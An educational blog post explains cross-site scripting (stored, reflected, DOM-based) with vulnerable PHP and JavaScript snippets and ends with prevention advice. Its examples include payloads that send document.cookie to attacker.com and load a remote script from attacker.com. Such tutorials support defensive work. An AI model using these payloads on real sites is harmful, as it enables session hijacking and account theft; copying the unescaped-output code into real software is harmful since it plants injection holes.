What is XSS (Cross-Site Scripting)? Complete Guide with Real Examples (2026)
What is XSS (Cross‑Site Scripting)? Complete 2026 Guide with Real Examples, Code Walkthroughs & Prevention
Cross‑Site Scripting (XSS) is one of the most common and dangerous vulnerabilities in web applications. It allows attackers to inject malicious scripts into web pages, which execute in the browser of unsuspecting users.
XSS is widely used in bug bounty programs and penetration testing because it can lead to session hijacking, account takeover, and data theft. This post explains XSS step by step, with real stored, reflected, and DOM‑based examples, plus concrete prevention techniques developers can implement in 2026.
- What is XSS (Cross‑Site Scripting)?
- How XSS attacks actually work
- Stored XSS attack example
- Reflected XSS attack example
- DOM‑based XSS example
- Impact of XSS in real apps
- Prevention techniques (encoding, CSP, etc.)
- XSS FAQ for developers
What is XSS (Cross‑Site Scripting)?
XSS (Cross‑Site Scripting) is a client‑side injection attack where attackers inject malicious JavaScript into trusted websites. When users visit the affected page, the script runs in their browser without their knowledge.
How XSS Actually Works
XSS follows a simple pipeline:
- Attacker sends untrusted data to the application (via form, URL, comment, etc.).
- Application fails to validate or encode the input.
- Malicious script is stored or reflected back to the page.
- Victim loads the page, and the script executes in their browser.
- Attacker steals session cookies, redirects to phishing, logs keystrokes, etc.
Simple reflected XSS via URL
https://example.com/search?q=hello
Then attacker sends:
https://example.com/search?q=<script>alert('Hacked!')</script>
If the page dumps q into HTML without encoding, the script executes in the victim’s browser.
Types of XSS
- Stored XSS: The malicious script is saved (usually in a database) and then served to any user who views the polluted page — comments, posts, profile fields, blogs. Permanent and far‑reaching.
- Reflected XSS: The script is reflected in the response via the URL or a form field (e.g., search, error, redirect). It only affects users who click the crafted link. Common in phishing emails.
- DOM‑based XSS: The vulnerability exists purely in JavaScript on the client side (e.g.,
document.location.hash, reading query parameters). The server sees “clean” HTML, but the browser’s DOM manipulates user‑controlled values without sanitization.
Impact of XSS in Real‑World Apps
- Session hijacking: Script steals
document.cookieand sends it to an attacker, allowing them to log in as the victim. - Account takeover: Attacker hijacks cookies or tokens, then performs actions as the logged‑in user.
- Data theft: Background script records keystrokes, form inputs, or screenshots and exfiltrates them.
- Phishing inside trusted sites: Overlay fake login modals on the real page to trick users into entering credentials.
Stored XSS: Real Comment Example
Imagine a blog that lets users comment and does not encode HTML output.
<div class="comment">
<strong>User:</strong> <span id="comment"><?= $user_comment ?></span>
</div>
Attacker submits:
<script>document.location='http://attacker.com?cookie='+document.cookie</script>
Every user who loads the page sends their cookies to attacker.com. This is a classic stored XSS + session‑exfiltration payload.
Reflected XSS: Search‑Box Example
In a search page, the query parameter is directly echoed back:
<h3>Search results for: <?= $_GET['q'] ?></h3>
Attacker lures victim to:
https://site.com/search?q=<script src="https://attacker.com/xss.js"></script>
The browser loads the attacker’s script, which can then perform any action in the victim’s context.
DOM‑Based XSS: Fragment Example
Client‑side code that dangerously uses location.hash:
document.getElementById('content').innerHTML = location.hash.substring(1);
Attacker sends:
https://site.com/page#<script>document.location='http://attacker.com?cookie='+document.cookie</script>
The browser reads the fragment and injects it into the DOM, executing the script. This is dangerous because it never touches the server — making it harder to detect.
How to Prevent XSS (Best Practices 2026)
- Output encoding: Always encode user input before rendering in HTML, attributes, or JavaScript.
- Use frameworks: React, Angular, and Vue automatically escape values by default.
- Content Security Policy (CSP): Restrict execution of inline scripts.
- HttpOnly cookies: Prevent JavaScript from accessing session cookies.
- Input validation: Reject malicious input patterns early.
- Avoid innerHTML: Use safe DOM APIs like
textContent.
Quick XSS Protection Checklist
- Escape output in all templates
- Enable CSP headers
- Use HttpOnly + Secure cookies
- Sanitize user input where needed
- Use modern frameworks
Comments
Post a Comment